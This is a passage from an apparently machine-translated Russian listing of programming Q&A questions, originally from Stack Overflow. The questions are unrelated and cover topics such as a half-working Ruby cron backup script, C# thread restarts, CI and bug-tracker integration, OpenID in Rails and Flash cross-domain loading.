Я проверил и перепроверил все пути, и они верны. Как sftp.yml (учетные данные SFTP), так и database.yml (учетные данные MySQL) принадлежат исполняющему пользователю (deploy) с разрешениями только на чтение для этого пользователя (chmod 400). Я использую 1.1.x версии net-ssh и net-sftp. Я знаю, что они не самые последние, но это то, с чем я знаком в данный момент.
Что может быть причиной сбоя задания cron?
A ThreadStateException возникает при попытке перезапустить поток
Время от времени я получаю System.Threading.ThreadStateException при попытке перезапустить поток. Рассматриваемый код выглядит следующим образом:
// Make sure the thread is done stopping
while (this.mThread.ThreadState == ThreadState.Running)
{
Thread.Sleep(0);
}
// Respawn a thread if the current one is stopped or doesn't exist
if (this.mThread == null || this.mThread.ThreadState == ThreadState.Stopped)
{
this.mThread = new Thread(new ParameterizedThreadStart(Monitor)); }
// Start the thread
if (check)
{
this.mThread.Start(60000);
}
else
{
this.mThread.Start(0);
}
Итак, два вопроса - Является ли это правильным способом делать вещи, и есть ли способ предотвратить возникновение ошибки?
Как интегрировать систему непрерывной интеграции с системой отслеживания ошибок?
Я использую cruisecontrol.rb для CI и FogBugz для отслеживания ошибок, но чем более общие ответы, тем лучше.
Во-первых, это техническая проблема: есть ли API для FogBugz? Есть ли хорошие учебники, или еще лучше, предварительно написанный код?
Во-вторых, это процедурная проблема: что именно должен CI поместить в трекер ошибок, когда сборка ломается? Возможно:
Название: "#{Последний коммиттер} сломал сборку!"
Тело: "# {следы ошибок }"
Я полагаю, что это предполагает ответ на этот вопрос: Должен ли я даже помещать CI breaks в мое отслеживание ошибок?
509   3   14:53, 13th August, 2020
Почему моя работа Cron не работает должным образом?
У меня есть работа cron на Ubuntu Hardy VPS, которая работает только наполовину, и я не могу понять, почему. Задание представляет собой сценарий Ruby, который использует mysqldump для резервного копирования базы данных MySQL, используемой приложением Rails, которая затем gzipped и загружается на удаленный сервер с помощью SFTP.
Файл gzip создается и копируется успешно, но это всегда нулевые байты. Тем не менее, если я запускаю команду cron непосредственно из командной строки, Она отлично работает.
Это задание cron:
PATH=/usr/bin
10 3 * * * ruby /home/deploy/bin/datadump.rb
Это datadump.rb:
#!/usr/bin/ruby
require 'yaml'
require 'logger'
require 'rubygems'
require 'net/ssh'
require 'net/sftp'
APP = '/home/deploy/apps/myapp/current'
LOGFILE = '/home/deploy/log/data.log'
TIMESTAMP = '%Y%m%d-%H%M'
TABLES = 'table1 table2'
log = Logger.new(LOGFILE, 5, 10 * 1024)
dump = "myapp-#{Time.now.strftime(TIMESTAMP)}.sql.gz"
ftpconfig = YAML::load(open('/home/deploy/apps/myapp/shared/config/sftp.yml'))
config = YAML::load(open(APP + '/config/database.yml'))['production']
cmd = "mysqldump -u #{config['username']} -p#{config['password']} -h #{config['host']} --add-drop-table --add-locks --extended-insert --lock-tables #{config['database']} #{TABLES} | gzip -cf9 > #{dump}"
log.info 'Getting ready to create a backup'
`#{cmd}`
# Strongspace
log.info 'Backup created, starting the transfer to Strongspace'
Net::SSH.start(ftpconfig['strongspace']['host'], ftpconfig['strongspace']['username'], ftpconfig['strongspace']['password']) do |ssh|
ssh.sftp.connect do |sftp|
sftp.open_handle("#{ftpconfig['strongspace']['dir']}/#{dump}", 'w') do |handle|
sftp.write(handle, open("#{dump}").read)
end
end
end
log.info 'Finished transferring backup to Strongspace'
log.info 'Removing local file'
cmd = "rm -f #{dump}"
log.debug "Executing: #{cmd}"
`#{cmd}`
log.info 'Local file removed'
Я проверил и перепроверил все пути, и они верны. Как sftp.yml (учетные данные SFTP), так и database.yml (учетные данные MySQL) принадлежат исполняющему пользователю (deploy) с разрешениями только на чтение для этого пользователя (chmod 400). Я использую 1.1.x версии net-ssh и net-sftp. Я знаю, что они не самые последние, но это то, с чем я знаком в данный момент.
Что может быть причиной сбоя задания cron?
Как я могу рефакторинг HTML markup из моих файлов свойств?
Недавно я унаследовал интернационализированное и тяжелое для текста веб-приложение Struts 1.1. Многие из файлов JSP выглядят так:
<p>
<bean:message key="alert" />
</p>
и файлы свойств выглядят так:
messages.properties
alert=Please update your <a href="/address.do">address</a> and <a href="/contact.do">contact information</a>.
с соответствующими переводами на N других языках (messages_fr.properties и др.).
Проблемы:
- DRY нарушение -у меня есть N ссылок на мое Struts действие URLs вместо 1, что делает рефакторинг действия URLs подверженным ошибкам.
- Смешанные проблемы -мое приложение markup теперь находится не только в моих файлах JSP, что затрудняет веб-специалисту настройку markup (используя CSS и т. д.).
- Post-translation markup -всякий раз, когда я получаю недавно переведенный текст, я должен решить, что окружить
<a>...</a>markup. Легко для английского языка, но менее так для незнакомых языков.
Я рассмотрел возможность добавления заполнителей в файл сообщений, например:
alert=Please update your {0} and {1}.
но тогда слова "address" и "contact information" каким - то образом должны быть локализованы, обернуты markup и переданы в мой тег сообщения-и я не вижу простого способа сделать это.
Что я могу сделать, чтобы улучшить это?
OpenID аутентификация в Ruby на Rails
Я неофит с Ruby на Rails, но я создал несколько небольших приложений. В любом случае, я действительно заинтересован в OpenID и хотел бы реализовать аутентификацию OpenID и, возможно, некоторые вещи Sreg в приложении Rails. Все исследования, которые я провел, пришли к статьям, которые устарели или просто не работают для меня. Поскольку я так новичок в Rails, мне трудно отлаживать проблемы таким образом...
Как лучше всего реализовать OpenId в Rails?
Есть ли хорошие ресурсы или советы для работы с языками с разной ориентацией? (например, японский или китайский)
У нас есть корпоративное веб-приложение, где каждый бит текста в системе локализован в соответствии с настройками языка и региональных параметров браузера пользователя.
До сих пор мы поддерживали только английский, американский (аналогичный, но неправильно написанный; -) и французский (для канадского правительства-приложение на английском или французском языке в зависимости от предпочтений пользователя). Во время разработки мы также имели в виду некоторые европейские языки, такие как голландский и немецкий, которые имеют тенденцию объединять слова в очень длинные.
В настоящее время мы изучаем поддержку восточных языков: китайского, японского и так далее. Я понимаю, что они используют фонетический ввод, преобразованный в письменные символы. Как это работает в интернете? Сделайте то же самое, что происходит при редактировании входных данных и текстовых областей (мы довольно тяжелы).
Какие соглашения ожидают пользователи этих нисходящих языков в интернете?
Как влияет их двойной ввод (фонетический ввод + преобразование) на веб-элементы управления?
С RTL языками, такими как арабский, пользователи ожидают, что весь интерфейс будет зеркальным? Например, должны ли такие вещи, как кнопки OK/Cancel, быть заменены и слева?
Сколько времени вашего рабочего дня уходит на кодирование?
В последнее время я думаю об оценке программного обеспечения, и у меня есть куча вопросов о времени, потраченном на кодирование. Мне любопытно услышать от людей, которые имеют по крайней мере пару лет опыта разработки программного обеспечения.
Когда вам нужно оценить количество времени, которое вы потратите на работу над чем-то, сколько часов в день вы тратите на кодирование? Что занимает остальные некодирующие часы?
Находите ли вы, что тратите больше или меньше часов, чем ваши товарищи по команде на кодирование? Вы чувствуете, что выполняете больше или меньше работы, чем они?
Каковы ваши условия работы? Личный кабинет, общий офис, командная комната? Кодирование в одиночку или в паре? Как ваше рабочее состояние изменило количество времени, которое вы тратите на кодирование каждый день? Если вы можете работать из дома, это помогает или вредит вашей производительности?
Какую методологию разработки вы используете? Водопад? Agile? Повлиял ли переход от одной методологии к другой на ваши часы кодирования в день?
Самое главное: довольны ли вы своей производительностью? Если нет, то какое единственное изменение вы бы сделали, которое оказало бы на него наибольшее влияние?
Разработка для нескольких мониторов
В настоящее время мы работаем над новой версией нашего основного приложения. одна вещь, над которой я действительно хочу работать, - это поддержка нескольких мониторов. Все чаще наши целевые пользователи добавляют вторые экраны к своим рабочим столам, и я думаю, что наш продукт может использовать это дополнительное пространство для повышения производительности пользователей.
Наше приложение-это финансовый пакет, который поддерживает лизинговые и флотские компании-очень специализированный рынок. При этом я уверен, что у многих людей с несколькими мониторами есть любимый бит программного обеспечения, который, по их мнению, был бы улучшен, если бы он лучше поддерживал эти дополнительные экраны.
Я ищу некоторые мнения о тех придирках, которые у вас есть с текущим программным обеспечением, и как вы думаете, что они могут быть улучшены для поддержки нескольких мониторов. Моя цель состоит в том, чтобы затем просмотреть их и решить, как я могу их реализовать и, надеюсь, обеспечить еще лучшую среду для моих пользователей.
Ваша помощь будет оценена по достоинству. Спасибо.
Замена для for... при итерации массива
Я люблю понимание списка в Python, потому что они лаконично представляют собой преобразование списка.
Однако на других языках я часто ловлю себя на том, что пишу что-то вроде::
foreach (int x in intArray)
if (x > 3) //generic condition on x
x++
//do other processing
Этот пример находится в C#,, где я под впечатлением LINQ может помочь с этим, но есть ли какая-то общая программная конструкция, которая может заменить это слегка less-than-elegant решение? Возможно, структура данных, которую я не рассматриваю?
Работает ли CruiseControl.NET на IIS 7.0?
Я новичок в разработке (администратор по торговле), и я настраиваю свою среду разработки, и я хотел бы настроить сервер CruiseControl.Net на сервере 2008. Быстрый Google не нашел никаких инструкций для запуска его на IIS 7.0, поэтому мне было интересно, есть ли у кого-нибудь опыт в этой настройке.
Программный доступ к стеку вызовов в .чистая
Как я могу получить программный доступ к стеку вызовов?
Python версия полосатых слешей PHP
Я написал кусок кода для преобразования полосок PHP в допустимые эскейпы Python [обратная косая черта] :
cleaned = stringwithslashes
cleaned = cleaned.replace('\\n', '\n')
cleaned = cleaned.replace('\\r', '\n')
cleaned = cleaned.replace('\\', '')
Как я могу его сгущать?
Теория (и терминология) управления версиями
Я пробовал использовать систему управления версиями для нескольких проектов, но все еще не очень понимаю ее. Для этих проектов мы использовали TortoiseSVN и имели только одну строку ревизий. (Ни ствола, ни ветки, ничего подобного.) Если существует рекомендуемый способ настройки систем управления версиями, то каковы они? Каковы причины и преимущества для того, чтобы настроить его таким образом? Каковы основные различия между работой централизованной и распределенной систем управления версиями?
Существуют ли какие-либо компоненты "mind mapping" для Delphi? (родной VCL предпочтительно)
Я ищу предварительно написанный компонент (w/source) для проекта Delphi, над которым я работаю, чтобы создать ментальные карты / концептуальные карты, подобные этим:
http://en.wikipedia.org/wiki/Image:MindMeister_screenshot_OS_X.jpg http://en.wikipedia.org/wiki/Image:XMIND_2008_in_Windows_Vista.png
Есть какие-нибудь идеи?
Как вы держите две взаимосвязанные, но отдельные системы в синхронизации друг с другом?
Мой нынешний проект развития имеет два аспекта. Во-первых, существует общедоступный веб-сайт, на котором внешние пользователи могут представлять и обновлять информацию для различных целей. Эта информация затем сохраняется на локальном сервере SQL на объекте colo.
Второй аспект - это внутреннее приложение, которое сотрудники используют для управления теми же записями (концептуально)и предоставления обновлений статуса, утверждений и т. д. Это приложение размещается в корпоративном брандмауэре с собственной локальной базой данных сервера SQL.
Эти две сети соединены аппаратным решением VPN, которое является приличным,но явно не самым быстрым в мире.
Эти две базы данных похожи и имеют много общих таблиц, но они не являются 100% одинаковыми. Многие таблицы с обеих сторон очень специфичны для внутреннего или внешнего применения.
Таким образом, возникает вопрос: когда пользователь обновляет свою информацию или представляет запись на общедоступном веб-сайте, Как вы передаете эти данные в базу данных внутреннего приложения, чтобы она могла управляться внутренним персоналом? И наоборот... как ВЫ продвигаете обновления, сделанные сотрудниками, обратно на веб-сайт?
Стоит отметить, что чем больше "real time" таких обновлений происходит, тем лучше. Не то чтобы это было мгновенно, просто достаточно быстро.
До сих пор я думал об использовании следующих типов подходов:
- Двунаправленная репликация
- Веб-сервис взаимодействует с обеих сторон с кодом для синхронизации изменений по мере их внесения (в режиме реального времени).
- Веб-службы взаимодействуют с обеих сторон с кодом для асинхронной синхронизации изменений (с помощью механизма массового обслуживания).
Какой-нибудь совет? Кто-нибудь сталкивался с этой проблемой раньше? Вы придумали решение, которое хорошо сработало для вас?
одновременные напоминания Outlook на нескольких устройствах
Отказ от ответственности: на самом деле это не вопрос программирования, но я чувствую, что аудитория на stackoverflow с большей вероятностью получит ответ, чем большинство сайтов вопросов/ответов.
Пожалуйста, прости меня, Джоэл, за то, что я украл твой вопрос. Джоэл задал этот вопрос на подкасте некоторое время назад, но я не думаю, что он когда-либо был решен. Я нахожусь в такой же ситуации, поэтому я также ищу ответ.
У меня есть несколько устройств, которые все синхронизируются с MS-Outlook. PCs, ноутбуки, смартфоны, PDAs и др. все имеют возможность синхронизировать свои данные (календари, письма, контакты и т. д.) с сервером Exchange. Мне нравится использовать уведомление о встрече Outlook или напоминания о назначении, чтобы напомнить мне о предстоящей встрече или назначении врача или о чем-то еще. Проблема заключается в том, что все устройства всплывают одно и то же напоминание, и я должен перейти к каждому отдельному устройству индивидуально, чтобы отложить или отклонить все одинаковые всплывающие окна напоминания.
Поскольку это технология синхронизации, почему тот факт, что я откладываю или отклоняю на одном устройстве, не синхронизирует другие устройства автоматически. Я даже пытался принудительно синхронизировать после отклонения напоминания, и он все еще появляется на других моих устройствах после принудительной синхронизации. Это очень раздражает меня.
Есть ли параметр, который я пропускаю, или есть сторонняя утилита напоминания, которую я должен использовать вместо встроенного материала?
Спасибо, Курт
Синхронизация браузера на многих компьютерах
Все помнят Google browser sync правильно? Я думал, что это было здорово. К сожалению, Google решил не обновлять сервис до Firefox 3.0. Mozilla разрабатывает замену для Google browser sync, которая будет частью проекта Weave. Я пробовал использовать Weave и обнаружил, что он очень медленный или полностью неоперабельный. Конечно, они находятся на ранней стадии развития прямо сейчас, поэтому я не могу жаловаться.
Эта конкретная проблема синхронизации браузера заставила меня задуматься. Что вы все думаете о Mozilla или о ком-то, кто делает пакет сервера/клиента, который мы, пользователи, могли бы запустить на вашей машине 'main'? Теперь вам просто нужно знать свой собственный IP или иметь какой-то способ объявить об этом вашим клиентским браузерам на работе или где-то еще.
Есть несколько проблем, которые я могу придумать с этим: нестатический IPs, открытие портов на вашем локальном компьютере и т. д. Просто кажется, что Mozilla не хочет обрабатывать этот трафик, созданный многими людьми, синхронизирующими свои браузеры. Для них нет способа монетизировать этот трафик, так как все загруженные данные должны быть зашифрованы.
Bootstrapping все еще требует внешней поддержки
Я слышал об идее bootstrapping языка, то есть написания компилятора/интерпретатора для самого языка. Мне было интересно, как это можно сделать, и я немного огляделся, и увидел, что кто-то сказал, что это может быть сделано только одним из них
- написание исходного компилятора на другом языке.
- ручное кодирование исходного компилятора в Assembly, что выглядит как частный случай первого
Мне кажется, что ни то, ни другое на самом деле не является языком в том смысле, что они оба нуждаются в поддержке извне. Есть ли способ на самом деле написать компилятор на своем собственном языке?
пользовательские элементы управления и asp.net mvc
Вот один тривиальный вопрос, с которым я не уверен, как справиться. Мне нужно отобразить список категорий на каждой странице и иметь возможность выбирать элементы из определенной категории для отображения. Я использую asp.net MVC и решил создать пользовательский элемент управления, который будет отображать категории. Мой вопрос: каков наилучший подход для передачи данных в пользовательский элемент управления. Я уже нашел некоторую информацию в этих сообщениях в блоге:
http://blog.matthidinger.com/2008/02/21/ASPNETMVCUserControlsStartToFinish.aspx
Я хотел бы также услышать Ваше мнение.
PS. Я хотел бы услышать мнение Джеффа, особенно из - за его опыта работы с UC на Stackoverflow
mysqli или PDO - каковы плюсы и минусы?
В нашем случае мы разделены между использованием mysqli и PDO для таких вещей, как подготовленные заявления и поддержка транзакций. Некоторые проекты используют одно, некоторые другое. Существует очень мало реальной вероятности того, что мы когда-нибудь переедем в другой RDBMS.
Я предпочитаю PDO только по той причине, что он допускает именованные параметры для подготовленных операторов, а насколько мне известно, mysqli этого не делает.
Есть ли еще какие-то плюсы и минусы в выборе одного из них в качестве стандарта, когда мы объединяем наши проекты, чтобы использовать только один подход?
Графический ресурсы развития системы?
Может ли кто-нибудь порекомендовать какие-либо хорошие ресурсы для создания графических пользовательских интерфейсов, предпочтительно в C/C++?
В настоящее время мое самое большое влияние 3DBuzz.com с C++/OpenGL VTMs (видео учебных модулей). Хотя они очень хороши, они охватывают большую область графического программирования, поэтому только скользят по поверхности программирования GUI.
Этот вопрос относится к " как я могу сделать GUI? ", где есть также грубый набросок моей нынешней структуры.
Любой ответ будет оценен по достоинству.
Edit: я только что прочитал некоторые ответы и заметил, что я пропустил некоторые моменты. Мне пришлось ввести вопрос дважды, так как я поймал не ту кнопку и потерял ее.
Я пропустил два важных момента, во-первых: это будет использоваться кросс-платформенный в том числе homebrew на Sony PSP. Во-вторых: я хочу создать систему GUI, а не использовать существующую.
Edit 2: я думаю, что некоторые из вас упускают суть, я не знаю, что использовать существующую систему GUI, которую я хочу построить.
Qt в его текущей форме не переносится на PSP, не говоря уже о чрезмерности такой задачи.
Тем не менее, я решил создать IM-GUI и начал прототипировать код.
Проверка Значений Перечисления
Мне нужно проверить целое число, чтобы узнать, является ли оно допустимым значением перечисления.
Как лучше всего это сделать в C#?
Разница в скорости использования встроенных строк против конкатенации в php5?
(предположим, php5) рассмотрим
<?php
$foo = 'some words';
//case 1
print "these are $foo";
//case 2
print "these are {$foo}";
//case 3
print 'these are ' . $foo;
?>
Есть ли большая разница между 1 и 2?
Если нет, то как насчет между 1/2 и 3?
php Zend / MVC без mod_rewrite
Я видел, что это упоминается во многих блогах по сети, но я считаю, что это должно обсуждаться здесь. Что мы можем сделать, когда у нас есть фреймворк MVC (меня интересует ZEND) в PHP, но наш хост не предоставляет mod_rewrite? Есть ли какие-нибудь "short-cuts"? Можем ли мы каким-либо образом передать управление (чтобы между страницами могло возникнуть сопоставление)? Есть идеи? Спасибо :-)
Python регулярных выражений для выполнения строки невыход
Я пытаюсь реализовать строку unescaping с Python regex и обратными ссылками, и это, кажется, не хочет работать очень хорошо. Я уверен, что это то, что я делаю неправильно, но я не могу понять, что именно...
>>> import re
>>> mystring = r"This is \n a test \r"
>>> p = re.compile( "\\\\(\\S)" )
>>> p.sub( "\\1", mystring )
'This is n a test r'
>>> p.sub( "\\\\\\1", mystring )
'This is \\n a test \\r'
>>> p.sub( "\\\\1", mystring )
'This is \\1 a test \\1'
Я хотел бы заменить \\[char] на \[char], но обратные ссылки в Python, похоже, не следуют тем же правилам, что и в любой другой реализации, которую я когда-либо использовал. Может кто-нибудь пролить свет?
Можете ли вы объяснить closures (как они соотносятся с Python)?
Я много читал о closures и думаю, что понимаю их, но, не затуманивая картину для себя и других, я надеюсь, что кто-то сможет объяснить closures настолько кратко и ясно, насколько это возможно. Я ищу простое объяснение, которое могло бы помочь мне понять, где и почему я хотел бы их использовать.
Как сделать пользовательский установщик профиля клиента .net?
Для .net 3.5 SP1 у Microsoft есть новый профиль клиента, который устанавливает только подмножество .net 3.5 SP1 на машины пользователя Windows XP.
Я знаю, как сделать мой профиль клиента сборки готовым. И я читал статьи о том, как реализовать инсталлятор для ClickOnce или MSI .
Но я уже использовал программу установки Inno для своего проекта и хотел бы продолжать ее использовать (как экспресс-пользователь, я не могу легко сделать MSIs), мне нужно знать, как использовать установщик клиентского профиля в пользовательской среде.
Есть статья о схеме Deployment.xml, но нет указаний на то, как ее написать, упаковать или что-то еще. Может ли кто-нибудь объяснить этот процесс? Поиск статей, на которые я ссылался в одиночку, был болезненным опытом поиска.
514   3   02:30, 4th August, 2020
Как выполнить модульные тесты в разных папках/проектах отдельно в Visual Studio?
Мне нужны некоторые советы относительно того, как я легко могу разделить тестовые запуски для модульных тестов и интеграционного теста в Visual Studio. Часто или всегда я структурирую решение так, как показано на рисунке выше: отдельные проекты для модульных тестов и интеграционных тестов. Модульные тесты выполняются очень часто, в то время как интеграционные тесты естественно выполняются, когда контекст правильно выровнен.
Моя цель-каким-то образом настроить, какие тесты (или тестовые папки) запускать при использовании сочетания клавиш. Предпочтительно, чтобы тесты выполнялись графическим бегуном тестов (ReSharpers). Так например
- Alt+1 запускает тесты в project BLL.Test,
- Alt+2 запускает тесты в project DAL.Tests,
- Alt+3 запускает их оба (т. е. все тесты в папке [Tests], и
- Alt+4 запускает тесты в папке [Tests.Integration].
TestDriven.net есть возможность запустить только тест в выбранной папке или проекте, щелкнув его правой кнопкой мыши и выбрав выполнить тест(Ы). Быть в состоянии сделать это, но с помощью команды клавиатуры и с графическим тестовым раннером было бы потрясающе.
В настоящее время я использую VS2008, ReSharper 4 и nUnit. Но советы по настройке в целом, конечно, тоже ценятся.
442   4   14:47, 7th August, 2020
Python звук ("Bell")
Я бы хотел, чтобы программа python предупредила меня, когда она завершит свою задачу, издав звуковой сигнал. В настоящее время я использую import os , а затем использую речевую программу командной строки, чтобы сказать "Process complete." я бы предпочел, чтобы это было простое "bell."
Я знаю, что есть функция , которая может быть использована в Cocoa приложениях, NSBeep, но я не думаю, что это имеет какое-то отношение к этому.
Я тоже пробовал
print('\a')
но это не сработало.
Я использую Mac, Если вы не можете сказать по моему комментарию Cocoa , так что это может помочь.
Генетическое программирование в C#
Я искал несколько хороших примеров генетического программирования для C#. кто-нибудь знает о хороших ресурсах онлайн/книг? Интересно, существует ли библиотека C# для эволюционного/генетического программирования?
918   13   02:53, 13th August, 2020
Как бы вы оценили программиста?
Несколько недель назад мне поручили оценить всех наших программистов. Мне очень неудобно с этим, так как я был тем, кто учил всех языку программирования магазина (все они вышли из колледжа, не зная языка, и, как назло, я очень хорошо владею им.). По оценке, я был очень предвзят к их производительности (отличные оценки).
Я рад, что наш магазин программирования не требует среднего уровня производительности, но я слышал ужасные истории о магазинах, которые действительно требуют среднего уровня.
Мой вопрос заключается в следующем:
- Как программист, какие вопросы оценки вы хотели бы видеть?
- Как менеджер, какие вопросы оценки вы хотели бы видеть?
- Как оценщик, как вы можете предотвратить предвзятость в своей оценке?
- Я хотел бы удалить оценочный тест. Есть ли какие-либо преимущества в проведении оценочного теста? Какой-нибудь недостаток?
Что происходит с| Pipe-разделителями / переменными в строках соединений?
Я знаю, что |DataDirectory / разрешится до App_Data в приложении ASP.NET, но это жестко задано или есть обобщенный механизм, работающий в соответствии с %environment variables% ?
Flex: существует ли безболезненная программная привязка данных?
До сих пор я только немного занимался разработкой Flex, но я предпочитал подход создания элементов управления программно над файлами mxml, потому что (и , пожалуйста, поправьте меня, если я ошибаюсь!) Я понял, что вы не можете иметь его в обоих направлениях-то есть иметь функциональность класса в отдельном файле класса ActionScript, но иметь содержащиеся элементы, объявленные в mxml.
С точки зрения производительности разница невелика, но программная привязка данных кажется несколько менее тривиальной. Я посмотрел, как компилятор mxml преобразует выражения привязки данных. В результате получается куча сгенерированных обратных вызовов и гораздо больше строк, чем в представлении mxml. Итак, вот в чем вопрос: есть ли способ сделать привязку данных программно, которая не включает в себя мир боли?
Есть ли модуль python для сопоставления regex в файлах zip
У меня есть более миллиона текстовых файлов, сжатых в 40 zip файлов. У меня также есть список из около 500 наименований моделей телефонов. Я хочу узнать, сколько раз конкретная модель была упомянута в текстовых файлах.
Есть ли какой-либо модуль python, который может выполнить сопоставление regex с файлами, не распаковывая его. Есть ли простой способ решить эту проблему без распаковки?
Увеличение разрешения захвата камеры в OpenCV
В моей программе C/C++ я использую OpenCV для захвата изображений из моего webcam. Камера (Logitech QuickCam IM) может снимать в разрешениях 320x240 , 640x480 и 1280x960 . Но, по какой-то странной причине, OpenCV дает мне изображения только с разрешением 320x240 . Вызовы для изменения разрешения с помощью cvSetCaptureProperty() с другими значениями разрешения просто не работают. Как я могу снимать изображения с другими разрешениями, возможными с помощью my webcam?
Каков наилучший способ обработки файлов для небольшого офиса?
В настоящее время я работаю в небольшой компании по разработке веб-сайтов, мы в основном делаем сайты кампаний и другие рекламные материалы. В течение нашего первого года мы использовали "server" для совместного использования файлов проекта, простую машину windows с общим сетевым ресурсом. Но это не совсем будущее доказательство.
SVN отлично подходит для кода (это то, что мы используем сейчас), но я хочу иметь комфорт управления версиями (или, по крайней мере, некоторую форму синхронизации) для всех или большинства наших файлов.
То, что я по существу хочу, - это то, что делает subversion для кода, но для наших файлов documents/psd/pdf.
Я понимаю, что subversion также обрабатывает двоичные файлы, но я чувствую, что это может быть немного излишним для наших целей. Ему не обязательно нужны все колокола и свистки полной системы управления версиями, но что-то, что устраняет необходимость в инкрементном именовании (Notes_1.23.doc) и уменьшает вероятность перезаписи чего-то по ошибке.
Он также должен быть мультиплатформенным, обрабатывать большие файлы (100 МБ+) и использоваться некоторыми нетехническими людьми.
Использование шрифтов GLUT bitmap
Я пишу простое приложение OpenGL , которое использует GLUT . Я не хочу свернуть свой собственный код рендеринга шрифтов, вместо этого я хочу использовать простые шрифты bitmap, которые поставляются с GLUT . Каковы шаги, чтобы заставить их работать?
RGB для монохромного преобразования
Как преобразовать значения RGB пикселя в одно монохромное значение?
Как вызвать Flex SWF из удаленного домена с помощью Flash (AS3)?
У меня есть Flex swf, размещенный в http://www.a.com/a.swf . У меня есть код flash на другом doamin, который пытается загрузить SWF:
_loader = new Loader();
var req:URLRequest = new URLRequest("http://services.nuconomy.com/n.swf");
_loader.contentLoaderInfo.addEventListener(Event.COMPLETE,onLoaderFinish);
_loader.load(req);
На событии onLoaderFinish я пытаюсь загрузить классы из удаленного SWF и создать их:
_loader.contentLoaderInfo.applicationDomain.getDefinition("someClassName") as Class
Когда этот код выполняется, я получаю следующее исключение
SecurityError: Error #2119: Security sandbox violation: caller http://localhost.service:1234/flashTest/Main.swf cannot access LoaderInfo.applicationDomain owned by http://www.b.com/b.swf.
at flash.display::LoaderInfo/get applicationDomain()
at NuconomyLoader/onLoaderFinish()
Есть ли способ заставить этот код работать?
Управляемый хостинг системы управления версиями и непрерывная интеграция с CVSDude и CruiseControl.net
Для моего собственного проекта дома я использую довольно отличный управляемый хостинг subversion от CVSDude . Поскольку сейчас я работаю только над кодом, я не использую CruiseControl.net, однако я ожидаю, что это изменится в ближайшие пару месяцев и потребуется полный процесс сборки, чтобы начать при регистрации.
Кому-нибудь удалось заставить CruiseControl.net работать с CVSDude? У моего коллеги Майка есть этот пост в блоге , где кто-то из CVSDude сказал::
"Вы можете использовать наше средство обратного вызова после фиксации, чтобы вызвать URL на вашем сервер, который передает переменные, относящиеся к последней проверке (переменные подробно описано в нашей спецификации). В вашем скрипте CGI будут эти переменные и выполняйте любые необходимые задачи, например, обновление круиз-контроля и т. д."
Звучит очень мило. Но действительно ли кто-нибудь сделал это с cruisecontrol?
Почему документация PyObjC так плоха?
Например, http://developer.apple.com/cocoa/pyobjc.html еще на ОС Х Тигр 10.4, 10.5 не Леопард.. И это официальная документация Apple для него..
Официальная страница PyObjC одинаково плоха, http://pyobjc.sourceforge.net/
Это так плохо, что сбивает с толку.. Я рассматриваю возможность изучения Ruby в первую очередь потому, что материал RubyCocoa намного лучше документирован, и есть много достойных учебников ( например, http://www.rubycocoa.com/ ), а также из-за набора инструментов Shoes GUI..
Даже этот японский учебник badly-auto-translated более полезен, чем rest документации, которую я мог бы найти..
Все, что я хочу сделать, это создать довольно простые приложения Python с Cocoa GUI..
Может ли кто - нибудь пролить свет на ужасную документацию или указать мне на некоторые учебники, которые не просто дают вам огромные блоки кода и предполагают, что вы знаете, что делает NSThread.detachNewThreadSelector_toTarget_withObject_("queryController", self, None) ..?
Настройка производительности 64bit .NET
Я знаю, что .NET -это JIT , скомпилированный в архитектуру, на которой вы работаете непосредственно перед запуском приложения, но оптимизирует ли компилятор JIT для 64-битной архитектуры вообще?
Есть ли что-то, что нужно сделать или рассмотреть при программировании приложения, которое будет работать на 64bit system ? (т. е. улучшит ли использование Int64 производительность и сможет ли компилятор JIT автоматически заставить Int64 работать на 32-битных системах?)
У кого-нибудь есть тесты компонентов .Net Excel IO?
Мне нужно получить доступ к книгам Excel из .Net. я знаю все о разных способах сделать это (я написал их в блоге ), и я знаю, что использование собственного компонента .Net будет самым быстрым. Но вопрос в том, какая из составляющих выигрывает? Кто-нибудь проводил сравнительный анализ? Я использую Syncfusion XlsIO, но это очень медленно для некоторых ключевых операций (например, удаление строк в книге, содержащей тысячи именованных диапазонов).
Пропорциональный шрифт IDE
Я бы очень хотел видеть пропорциональный шрифт IDE, даже если мне придется построить его самостоятельно (возможно, как расширение для Visual Studio). То, что я в основном имею в виду, - это редактирование кода в стиле MS Word, которое похоже на типографский стиль в книге языка программирования C++.
Я хочу установить табуляторы для моих отступов и выстроить подписи функций и строки операторов присваивания, которые могут быть указаны в точках вместо фиксированных позиций символов. Я также хотел бы жирным шрифтом и курсивом. Различные размеры шрифтов и даже таблицы стилей было бы здорово.
Кто-нибудь видел что-нибудь подобное там или знает лучший способ начать строить его?
Вы используете контроль версий, кроме как для исходного кода?
Я обнаружил, что SVN чрезвычайно полезен для документации, личных файлов, среди других применений без исходного кода. Какие еще практические применения вы нашли для систем управления версиями в целом?
Возможно ли автоматически производить выезды из любого VCS?
Давайте рассмотрим среду веб-разработки, в которой разработчики извлекают проект на свои локальные компьютеры, работают над ним и регистрируют изменения в процессе разработки.
Эти изменения далее тестируются на развитие и перемещаются в прямом эфире по регулярному графику (например, еженедельно, ежемесячно и т. д.).
Возможно ли иметь автоматическое перемещение последней помеченной версии (а не последней проверки, поскольку это не может быть стабильным 100%), например, 8 утра в понедельник утром, либо используя скрипт, либо встроенную функцию VCS?
Может ли прокси-сервер кэшировать SSL GETs? Если нет, то будет ли достаточно шифрования тела ответа?
Может ли (||любой) прокси-сервер кэшировать содержимое, запрошенное клиентом через https? Поскольку прокси-сервер не может видеть строку запроса или заголовки http, я думаю, что они не могут.
Я рассматриваю настольное приложение, управляемое рядом людей, стоящих за своими компаниями прокси. Это приложение может получить доступ к услугам через интернет, и я хотел бы воспользоваться встроенной инфраструктурой кэширования интернета для 'reads'. Если кэширующие прокси-серверы не могут кэшировать доставленное содержимое SSL, будет ли просто шифрование содержимого ответа жизнеспособным вариантом?
Я рассматриваю все запросы GET, которые мы хотим получить, будут запрошены через http с телом, зашифрованным с помощью асимметричного шифрования, где у каждого клиента есть ключ расшифровки. Всякий раз, когда мы хотим выполнить операцию GET, которая не является cachable, или операцию POST, она будет выполнена над SSL.
UrlEncode через консольное приложение?
Обычно я бы просто использовал:
HttpContext.Current.Server.UrlEncode("url");
Но так как это консольное приложение, то HttpContext.Current всегда будет null .
Есть ли другой метод, который делает то же самое, что я мог бы использовать?
Как лучше всего использовать версию файла и версию Assembly?
В .NET есть два номера версий, доступных при построении проекта, версия файла и версия Assembly. Как вы используете эти цифры? Оставить их прежними? Автоматическое увеличение одного, но ручное изменение другого?
А как насчет атрибута AssemblyInformationalVersion ?
